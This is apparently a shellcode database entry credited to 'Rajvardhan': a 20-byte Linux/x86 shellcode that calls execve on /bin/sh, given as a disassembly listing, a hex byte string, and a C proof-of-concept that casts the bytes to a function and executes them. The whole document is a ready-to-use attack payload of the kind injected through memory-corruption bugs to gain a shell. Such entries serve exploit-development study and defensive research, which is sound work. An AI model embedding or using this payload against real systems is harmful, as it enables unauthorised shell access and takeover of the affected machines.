20 bytes small Linux/x86 execve /bin/sh shellcode.
9f821fa395a37bf2d7f2fd8fd818780b/*
# Linux/x86 - execve /bin/sh shellcode (20 bytes)
# Author: Rajvardhan
# Tested on: i686 GNU/Linux
# Shellcode Length: 20
Disassembly of section .text:
08049000 <.text>:
8049000: 31 c9 xor %ecx,%ecx
8049002: 6a 0b push $0xb
8049004: 58 pop %eax
8049005: 51 push %ecx
8049006: 68 2f 2f 73 68 push $0x68732f2f
804900b: 68 2f 62 69 6e push $0x6e69622f
8049010: 89 e3 mov %esp,%ebx
8049012: cd 80 int $0x80
===============poc by Rajvardhan=========================
*/
#include<stdio.h>
#include<string.h>
unsigned char shellcode[] = "\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}